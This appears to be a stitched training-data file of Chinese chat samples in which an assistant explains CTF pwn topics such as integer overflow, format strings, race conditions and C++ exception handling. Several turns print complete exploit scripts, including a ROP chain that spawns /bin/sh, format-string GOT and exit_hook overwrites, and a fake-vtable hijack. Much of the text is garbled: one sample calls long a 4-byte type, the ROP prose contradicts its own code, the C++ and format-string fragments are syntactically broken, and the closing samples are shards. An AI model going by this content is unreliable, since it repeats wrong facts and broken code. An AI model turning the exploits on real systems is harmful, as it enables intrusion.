[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「整数截断」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 整数截断

整数截断是指当将一个较大的整数类型转换为较小的整数类型时，可能会丢失数据。例如，`long`转换为`int`时，如果值超出`int`的范围，可能会发生截断。

```c
#include <stdio.h>

int main(void) {
    long a = 0x100000000;
    int b = a;
    if(b){
        printf("ok");
    }
    else{
        printf("error");
    }
}
```

上述代码编译运行结果为`error`，因为在`long`类型赋值给`int`类型时发生了隐式转换导致了整数截断。

究其原因是因为`long`类型占 4 个字节，而`int`型只有 4 个字节。根本塞不下`long`类型，所以就把塞不下的部分截掉了。

`long: 0x0000000100000000 -> int: 0x00000000`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「错误的类型转换」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 错误的类型转换

> [CISCN 2023 初赛]烧烤摊儿

+ 分析

checksec 查保护，发现存在栈溢出保护和地址随机化保护。

[图片: 1773504743431-406b9b0b-afbb-4ee8-b342-e20dc9757a75]

执行一下程序，发现是一个购买烧烤的程序

[图片: image][图片: image]

ida 打开分析

程序可以选则购买啤酒和烤串这样会减少余额，而如果余额超过一定数量则可以承包摊位。

如果承包摊位后就可以选择给摊位重命名。

[图片: image][图片: image]

详细分析程序发现两处整数溢出漏洞，分别为购买啤酒和购买烤串。

这里只介绍第一处。

购买啤酒的程序通过输入数字来选择购买的啤酒，并且通过数字来选择购买的数量。

如果购买啤酒的数量的金额超过余额则输出钱不够了。

如果余额足够，则从余额中减去金额。

但是程序没有限制输入正数还是负数，如果输入负数则判断条件仍然会正确，经过计算后余额还会增加。这是因为负数被转换为了无符号数。

所以我们可以通过这个漏洞来增加余额达到足以承包烧烤摊的标准。

[图片: image][图片: image]

当承包烧烤摊后，我们便可以给烧烤摊改名字。

而给烧烤摊改名字的函数中存在栈溢出漏洞。

虽然程序开启了栈溢出，但是函数中没有检查`canary`的值，所以就相当于没开启。

> 正常开启栈溢出保护的程序，通过`readfsqword`检查`canary`的值

[图片: image]

并且输入没有限制，之后将输入的内容复制到表示烧烤摊名称的全局变量中。

[图片: image][图片: image]

我们可以通过改名输入`/bin/sh`到栈中，改名称的时候会将`/bin/sh`复制到全局变量。

这样我们就可以得到`/bin/sh`的地址。

并且在`/bin/sh`后面接上一个`\x00`字符串结束符，用于截取`/bin/sh`。

之后在其后拼接足够栈溢出的字符，通过栈溢出我们可以通过gadget实现系统调用。

1. 程序返回执行`pop_rax_rdx_rcx`，将`0xb`弹入`rax`，将`0`弹入`rdx`，将`0`弹入`rcx`。
2. `pop_rdi`将字符串地址弹入`rdi`。
3. `pop_rsi`将`0`弹入`rsi`。
4. 之后`rip`的值覆盖为`syscall`地址，触发中断。
5. [图片: image]

[图片: image]

+ exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

#触发整数溢出漏洞
sl(b'1')
sl(b'1')
sl(b'-10000')
#承包烧烤摊并修改名称
sl(b'4')
sl(b'5')

#全局变量的地址
sh=0x4E60F0

pop_rax_rdx_rbx=0x00000000004a404a #: pop rax ; pop rdx ; pop rbx ; ret
pop_rdi=0x000000000040264f #: pop rdi ; ret
pop_rsi=0x000000000040a67e #: pop rsi ; ret
syscall=0x0000000000402404 #: syscall

#加上\x00这样在execve函数读取到/bin/sh之后就会截停
payload=b'/bin/sh\x00'+b'a'*0x20+p64(pop_rax_rdx_rbx)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(syscall)

sl(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「题目分析」。
资料来源：其它/2024ycb logger/wp.md；主题：2024ycb logger；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 题目分析

C++ 中的异常处理机制由`try`、`throw`、`catch`语句组成。

- `try`语句块负责监视异常。
- `throw`用于发送异常信息，也称为抛出异常。
- `catch`用于捕获异常并做出相应处理。

基本用法：

```cpp
try {                   // 检测异常
    // 执行可能出错的代码
    throw 异常类型;      // 抛出异常
}
catch (异常类型1 e) {    // 捕获异常
    // 处理方式 1
}
catch (异常类型2 e) {    // 捕获另一种异常
    // 处理方式 2
}
// ...
```

从 C++ 处理异常的语法中可以看到，异常的处理流程为检测异常 → 产生异常 → 抛出异常 → 捕获异常。对于用户而言，编译器隐藏了捕获异常的流程。在运行过程中，异常产生时会自动匹配到对应的处理代码中，而这个过程的代码较为复杂，由编译器产生。异常处理通常是由编译器和操作系统共同完成的，所以不同操作系统环境下的编译器对异常捕获和异常处理的分派过程是不同的。

C++的异常处理`try catch`执行过程

- 执行`try`块中的语句，如果执行的过程中没有异常抛出，那么执行完后就执行最后一个`catch`块后面的语句，所以`catch`块中的语句都不会被执行。
- 如果`try`块执行的过程中抛出了异常，那么抛出异常后立即跳转到第一个 “异常类型” 和抛出的异常类型匹配的`catch`块中执行（称作异常被该`catch`块 “捕获”），执行完后再跳转到最后一个`catch`块后面继续执行
- C++异常的再抛出：如果一个函数在执行过程中抛出的异常在本函数内就被`catch`块捕获并处理，那么该异常就不会抛给这个函数的调用者，如果异常在本函数中没有被处理，则它会被抛给上一层的函数

```cpp
#include <string>
#include <stdio.h>
#include <iostream>

void catched_by_self(int i){
	try{
	}
	catch(char){
	}
	catch(int)
}
void catched_by_before1(int i){
	throw std::string("Fuck You\n");
	printf("被抛到上层之后，函数后面的语句就不会被执行\n");
}

void catched_by_before2(){
	thrwo 666;
	printf("被抛到上层之后，函数后面的语句就不会被执行\n");
}

int mainf(){
	int testnum=0x123;
	try{
	}
	catch
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/srand.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/srand.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <time.h>`

函数/封装：
- `backdoor`
- `main`

训练用代码片段：
```c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void backdoor(){
    system("/bin/sh");
}

int main() {
    int buf;
    // 使用标准的 rand() 生成随机数
    // 如果使用不安全的种子或者低熵的随机数生成器，攻击者可以预测生成的随机数
    srand(time(NULL));  // 使用当前时间作为种子
    int random_number = rand();
    printf("Random number: %d\n", random_number);
    scanf("%d",buf);
    if(buf==random_number){
        backdoor();
    }
    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「非栈上格式化字符串」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 非栈上格式化字符串

2019 xman format

由于不能泄露地址，因此只能爆破 `ebp` 链指向返回地址然后写返回地址为 `backdoor` 函数地址来 get shell 。

[图片: image]

+ exp

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('xman_2019_format')
context(os=elf.os, arch=elf.arch, log_level='debug')

while True:
    global io
    try:
        io = process([elf.path])
        payload = "%" + str(0x9c) + "c%10$hhn|%" + str(0x85ab) + "c%18$hn"
        sla('...', payload)
        sleep(0.5)
        ia()

    except KeyboardInterrupt:
        ic()
        exit(0)

    except:
        ic()
ia()
```

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/xj.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/xj.c`

分类：misc_vuln

语言：c

环境/依赖线索：
- `#include <stdio.h>`

函数/封装：
- `main`

训练用代码片段：
```c
#include <stdio.h>

void main()
{
  char sa = 0;
  short sb = 0;
  int sc = 0;
  long sd = 0;

  unsigned char ua = 0;
  unsigned short ub = 0;
  unsigned int uc = 0;
  unsigned long ud = 0;

  sa-=1;
  sb-=1;
  sc-=1;
  sd-=1;
  ua-=1;
  ub-=1;
  uc-=1;
  ud-=1;

  printf("signed   char  0x%x  : %d\n", sa, sa);
  printf("signed   short 0x%x  : %d\n", sb, sb);
  printf("signed   int   0x%x  : %d\n", sc, sc);
  printf("signed   long  0x%lx : %ld\n", sd, sd);

  printf("unsigned char  0x%x  : %u\n", ua, ua);
  printf("unsigned short 0x%x  : %u\n", ub, ub);
  printf("unsigned int   0x%x  : %u\n", uc, uc);
  printf("unsigned long  0x%lx : %lu\n", ud, ud);
}
```

其它漏洞/整数溢出/xj.c

其它漏洞/整数溢出/xj.c


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「错误的类型转换」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 错误的类型转换

在本例中`len`是有符号整型，所以`len`的长度可以是负数，但是在`read`函数中，第三个参数的类型是`size_t`，该类型相当于`unsigned long int`，属于无符号长整型。

所以如果我们输入负数会导致转换为无符号数，这回事一个相当大的值。在本例中会让可输入的数据字节数变大，可能会导致栈溢出。

```c
#include <stdio.h>

int main(void) {
    char buf[0x10];
    int len;

    printf("Enter a long integer: ");
    read(0, buf, len);

    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「=============================」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# =============================
def arbitrary_offset_write(offset, value):
    info("arbitrary_offset_write({}, {})".format(hex(offset), hex(value)))
    assert 0 > (0 * 16)) & 0xFFFF)
    arbitrary_offset_write(0x52, (address >> (1 * 16)) & 0xFFFF)
    arbitrary_offset_write(0x54, (address >> (2 * 16)) & 0xFFFF)
    arbitrary_offset_write(0x56, (address >> (3 * 16)) & 0xFFFF)

    # 调试断点
    gdb.attach(p, "b *$rebase(0x123e)\nc")
    pause()

    # 写入 value
    if value == 0:
        p.sendafter("please input:\n", "%16$hn")
    else:
        p.sendafter("please input:\n", "%{}c%16$hn".format(value))

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「检测」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 检测

我们也可以通过工具来检测条件竞争漏洞，主要是从静态分析和动态分析两个方面来检测。

**静态分析：**

静态分析是通过不运行程序、直接分析源代码或二进制代码的方式来检测潜在的条件竞争漏洞。此方法不需要实际执行程序，但能够识别潜在的并发问题。

+ Coverity：一个静态分析工具，能够检测并发问题以及其他类型的编程错误。
+ Clang Thread Safety Analyzer：一个针对 C/C++ 的静态分析工具，能够帮助检测潜在的线程安全问题。
+ Flawfinder：静态分析工具，能够识别潜在的安全问题。

**动态检测：**

+ ThreadSanitizer (TSan)：Google 提供的一个动态分析工具，能够检测 C/C++ 程序中的数据竞争（数据共享引发的条件竞争问题）。TSan 基于 LLVM，可与 Clang 编译器结合使用，运行时会自动检测潜在的条件竞争漏洞。
+ Helgrind：Valgrind 的一个插件，用于检测多线程程序中的竞争条件。它可以动态监控程序并分析多个线程的共享数据访问，从而帮助发现潜在的竞争问题。
+ RaceCheck：一个动态检测工具，专门用于检测并发程序中的条件竞争漏洞，适用于 Java、C++ 等语言。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「简介」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 简介

条件竞争是指一个相同的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时，就可能会出现 bug。这个术语最初来自于两个电信号互相竞争来影响输出结果。

在现代的计算机程序中，由于广泛采用并发编程和频繁共享资源，往往会产生条件竞争漏洞。条件竞争漏洞发生的主要场景是程序中多个进程或线程并发地访问共享资源，而程序的行为依赖于这些并发操作的执行顺序。如果没有有效的同步机制时，这些并发操作的执行顺序不可预测，导致资源的访问冲突，从而可能引发程序的错误行为或安全漏洞。

总之，条件竞争漏洞是由于并发操作的执行顺序不可控所导致的资源冲突问题，攻击者可利用这一点造成程序异常或安全漏洞，特别是在实际生产环境中。

条件竞争造成的影响也是多样的，轻则程序异常执行，重则程序崩溃。如果条件竞争漏洞被攻击者利用的话，很有可能会使得攻击者获得相应系统的特权。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「覆盖大数字」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
##### 覆盖大数字

直接一次性输出大数字个字节来进行覆盖时间过长，因此需要把大数字拆分成若干个部分，分别进行覆盖。比如`hhn`按字节写或`hn`按双字写。

以`hhn`写入32bit数为例，payload形式为：`[addr][addr+1][addr+2][addr+3][pad1]%k$hhn[pad2]%(k+1)$hhn[pad3]%(k+2)$hhn[pad4]%(k+3)$hhn`

小技巧：我们可以通过打印 pwntools 生成的格式化字符串来作为参考。

```python
from pwn import *

elf = ELF("./test")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

p.sendafter("please input:\n", "%p%5$p")
elf.address = int(p.recv(14), 16) - 0x2012
info("elf base: " + hex(elf.address))

ld_base = int(p.recv(14), 16) - 0x11d60
info("ld base: " + hex(ld_base))

p.sendafter("please input:\n", "%7$saaaa" + p64(elf.got['puts']))
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - libc.sym['puts']
info("libc base: " + hex(libc.address))

one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][0]
exit_hook = ld_base + 0x2ef70
info("one_gadget: " + hex(one_gadget))
info("exit hook: " + hex(exit_hook))

gdb.attach(p, "b *$rebase(0x13b3)\nc")
pause()

payload = ''
payload += '%{}c%{}$hhn'.format(one_gadget >> 0 & 0xFF, 11)
payload += '%{}c%{}$hhn'.format(((one_gadget >> 8 & 0xFF) - (one_gadget >> 0 & 0xFF) + 0x100) & 0xFF, 12)
payload += '%{}c%{}$hhn'.format(((one_gadget >> 16 & 0xFF) - (one_gadget >> 8 & 0xFF) + 0x100) & 0xFF, 13)
payload = payload.ljust((len(payload) + 7) / 8 * 8)
payload += p64(exit_hook)
payload += p64(exit_hook + 1)
payload += p64(exit_hook + 2)

p.sendafter("please input:\n", payload)
p.sendafter("please input:\n", "exit\x00")

p.interactive()
```

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「下界溢出」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 下界溢出

下届溢出和上界溢出原理是一样的，也就是把加 1 变成了减 1 。也就是在汇编代码中，把`add`替换成了`sub`。

同样，下界溢出也是有两种情况：

+ 示例代码

```c
#include <stdio.h>

void main()
{
  char sa = 0;
  short sb = 0;
  int sc = 0;
  long sd = 0;

  unsigned char ua = 0;
  unsigned short ub = 0;
  unsigned int uc = 0;
  unsigned long ud = 0;

  sa-=1;
  sb-=1;
  sc-=1;
  sd-=1;
  ua-=1;
  ub-=1;
  uc-=1;
  ud-=1;

  printf("signed   char  0x%x\n",sa);
  printf("signed   short 0x%x\n",sb);
  printf("signed   int   0x%x\n",sc);
  printf("signed   long  0x%lx\n",sd);

  printf("unsigned char  0x%x\n",ua);
  printf("unsigned short 0x%x\n",ub);
  printf("unsigned int   0x%x\n",uc);
  printf("unsigned long  0x%lx\n",ud);
}
```

+ 运行结果

```c
signed   char  0xffffffff  : -1
signed   short 0xffffffff  : -1
signed   int   0xffffffff  : -1
signed   long  0xffffffffffffffff : -1
unsigned char  0xff  : 255
unsigned short 0xffff  : 65535
unsigned int   0xffffffff  : 4294967295
unsigned long  0xffffffffffffffff : 18446744073709551615
```

+ `0x00 - 1 = 0xff`

第一种情况仅针对无符号数有用，因为在有符号`char`中`0x00 - 1 = -1`，这个结果是正确的。但是对于无符号来说就成了 `0 - 1 = 0xff`，从最小值溢出回绕到了最大值。

+ `0x80 - 1 = 0x7f`

第二种情况仅对于有符号数有效，因为对于无符号数来说`0x80 - 1 = 0x7f`，这个结果是正确的。但是对于有符号数来说就变成了`-128 - 1 = 127`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「阶段反编译查看catch代码块」。
资料来源：其它/2024ycb logger/wp.md；主题：2024ycb logger；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 阶段反编译查看catch代码块

在之前我们知道如何恢复try catch结构之后，我们可以大致知道整体的执行逻辑，但是对于catch块内部的代码，依旧无法从反编译层面直接看见，默认情况下 ida 是不会反编译那个 catch 块的，因为 ida 认为那个catch块是不会被执行的，欺骗了 ida，而往往其中会存在一些关键信息，所以这里我们采取阶段反编译来查看 catch 块代码。

这里有两种方法：

方法一：

在begin catch 前按快捷键E，设置End，然后选中汇编至end catch，按p定义成函数，反编译即可。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「one_gadget & exit_hook 地址」。
资料来源：其它漏洞/格式化字符串/格式化字符串.md；主题：调试断点，方便跟踪 payload 的执行；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# one_gadget & exit_hook 地址
one_gadget = libc.address + [0xe3afe, 0xe3b01, 0xe3b04][2]
exit_hook  = ld_base + 0x2ef70

info("one_gadget: " + hex(one_gadget))
info("exit hook: " + hex(exit_hook))

其它漏洞/格式化字符串/格式化字符串.md

其它漏洞/格式化字符串/格式化字符串.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/exp_cli.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwncli import *`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc=ELF("/buu/32/libc-2.23.so")

r()
payload=p32(elf.got.puts)+b"%6$s"
s(payload)

leak=u32(ru("\xf7")[-4:].ljust(4,b"\x00"))
print(hex(leak))
libcbase=leak-libc.sym.puts
print(hex(libcbase))
sys=libcbase+libc.sym.system

r()
payload=fmtstr_payload(6,{elf.got.printf:sys})
s(payload)

r()
s(b"/bin/sh\x00")

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：其它漏洞/other vuln.md；主题：其它漏洞；分类：misc_vuln。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 原理

条件竞争漏洞通常发生在以下场景中：

+ 两个或多个进程/线程同时访问共享资源（如内存、文件、数据库等），并且程序的行为取决于访问的顺序。
+ 程序对共享资源的访问顺序没有有效的同步机制控制（如锁、信号量等），因此资源访问的顺序会变得不可预测。
+ 攻击者可以利用这一点，通过控制进程/线程的执行顺序来干扰程序的正常行为，从而导致漏洞的产生。
+ 例

```c
#include <pthread.h>
#include <stdio.h>

int counter;
void *IncreaseCounter(void *args) {
    counter += 1;
    sleep(0.1);
    //打印当前线程id和counter变量的值
    printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(), counter);
}

int main() {
    pthread_t p[10];
    for (int i = 0; i < 10; ++i) {
        //创建线程执行IncreaseCounter函数
        pthread_create(&p[i], NULL, IncreaseCounter, NULL);
    }
    for (int i = 0; i < 10; ++i) {
    //等待线程执行结束
    pthread_join(p[i], NULL);
    }
    return 0;
}
```

一般来说，我们希望程序按以下方式输出。

```shell
Thread 1859024640 has counter value 1
Thread 1841583872 has counter value 2
Thread 1832863488 has counter value 3
Thread 1824143104 has counter value 4
Thread 1744828160 has counter value 5
Thread 1736107776 has counter value 6
Thread 1727387392 has counter value 7
Thread 1850304256 has counter value 8
Thread 1709946624 has counter value 9
Thread 1718667008 has counter value 10
```

但是，由于条件竞争的存在，输出结果往往不尽人意。

```c
Thread -554797504 has counter value 3
Thread -563190208 has counter value 5
Thread -579975616 has counter value 5
Thread -571582912 has counter value 5
Thread -588368320 has counter value 5
Thread -671091136 has counter value 8
Thread -687876544 has counter value 10
Thread -696269248 has counter value 10
Thread -704661952 has counter value 10
Thread -679483840 has counter value 10
```

仔细思考一下条件竞争为什么可能会发生呢？以下面的为具体的例子

+ 程序首先执行了`action1`，然后执行了`action2`。其中`action`可能是应用级别的，也可能是操作系统级别的。正常来说，我们希望程序在执行`action2`时，`action1`所产生的条件仍然是满足的。
+ 但是由于程序的并发性，攻击者很有可能可以在`action2`执行之前的这个短暂的时间窗口中破坏`action1`所产生的条件。这时候攻击者的操作与`action2`产生了条件竞争，所以可能会影响程序的执行效果。

[图片: image]


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「漏洞利用」。
资料来源：其它/2024ccb anote/WP.md；主题：2024 CCB anote Writeup；分类：misc_pwn。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 漏洞利用

连续申请两个对象时，泄露到：

```text
obj0 = 0x80507d0
obj1 = 0x80507f0
diff = 0x20
```

因此 `obj0+0x20 == obj1`。如果对 `obj0` 写入 `0x1c` 字节，写入覆盖范围为：

```text
obj0+0x08 ~ obj0+0x23
```

刚好可以覆盖到 `obj1` 的 vptr。利用思路：

1. `add()` 两次，得到相邻的 `obj0` 和 `obj1`。
2. `show(0)` 泄露 `obj0` 地址。
3. 在 `obj0+0x08` 放一个 fake vtable，第一项写 `backdoor`。
4. 溢出覆盖 `obj1->vptr = obj0+0x08`。
5. 调用 `edit(1, 0, "")` 触发虚调用 `call *(*obj1)`，跳到 `backdoor()`。

payload 布局：

```text
obj0+0x08: p32(0x80489ce)      fake_vtable[0] = backdoor
obj0+0x0c: "A" * 0x10          padding
obj0+0x1c: p32(0x21)           保持下一块 chunk size
obj0+0x20: p32(obj0 + 0x08)    覆盖 obj1->vptr
```

主程序触发虚调用的汇编：

```asm
8048d3f: mov eax, [notes[index]]
8048d43: mov eax, [eax]      ; eax = obj->vptr
8048d45: mov eax, [eax]      ; eax = vtable[0]
8048d51: push edx            ; this 指针
8048d52: call eax
```

- exp

```python
BACKDOOR = 0x80489CE

add()
add()

obj0 = show(0)
fake_vtable = obj0 + 0x8

payload = flat(
    BACKDOOR,
    b"A" * 0x10,
    0x21,
    fake_vtable,
)

edit(0, len(payload), payload)
edit(1, 0, b"")
io.interactive()
```


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“OpenSSL”？请用《RSA与大数运算》中的内容回答。

[Assistant]
1. | `BN_add(BN *r, const BN *a, const BN *b)`                                                                                | 计算大数加法。
2. | `BN_sub(BN *r, const BN *a, const BN *b)`                                                                                | 计算大数减法。
3. | `BN_mul(BN *r, const BN *a, const BN *b, BN_CTX *ctx)`                                                                             | 计算大数乘法。
4. | `BN_div(BN *quot, BN *rem, const BN *a, const BN *b, BN_CTX *ctx)`                                                                 | 计算大数除法。
5. | `BN_mod(BN *r, const BN *a, const BN *m, BN_CTX *ctx)`                                                                             | 计算大数模运算。
6. | `BN_gcd(BN *r, const BN *a, const BN *b, BN_CTX *ctx)`                                                                             | 计算大数最大公约数（GCD）。

RSA与大数运算


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“局部变量”？请用《Pyc：pyc文件》中的内容回答。

[Assistant]
1. `LOAD_FAST`：一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等
2. `STORE_FAST`：一般用于保存值到局部变量。
3. 对应的 python 代码：
4. 函数的参数也算局部变量，如何区分出是函数参数还是其他局部变量呢？
5. 参数没有初始化语句，也就是从函数开始到`LOAD_FAST`该变量的位置，如果没有看到`STORE_FAST`，那么该变量就是函数参数。
6. 而局部变量在使用之前肯定会使用`STORE_FAST`进行初始化。

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《SM4 算法》的“2024 网鼎杯 RE1”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：SM4 算法 / 2024 网鼎杯 RE1
关键词：SM4、apk、MainActivity、跟进、分析，发现了输入校验逻辑。

